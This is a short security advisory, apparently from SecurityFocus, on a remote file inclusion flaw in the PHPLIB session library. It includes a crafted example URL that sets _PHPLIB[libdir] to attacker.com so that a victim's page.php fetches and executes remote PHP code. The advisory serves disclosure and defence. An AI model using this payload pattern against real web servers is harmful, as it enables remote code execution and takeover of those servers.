source: http://www.securityfocus.com/bid/3079/info

The PHP Base Library('PHPLIB') is a code library which provides support for session management in web applications. It is targeted to developers and is widely used in many web applications, so a strong possibility exists that an application may be using it without the knowledge of the administrator. 

A problem in PHPLIB will allow remote attackers to submit malicious input in web requests that will cause the application to fetch and then execute scripts from another host.

This may allow for attackers to gain local access to the webserver.

If $_PHPLIB[libdir] is a string whose value
is "http://attacker.com/", this instruction will be executed:

require("http://attacker.com/" . "db_mysql.inc");

Thus, simply crafting a URL like:

http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/

will make the script 'page.php'(which the attacker knows is based on the PHPLIB toolkit) include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc'.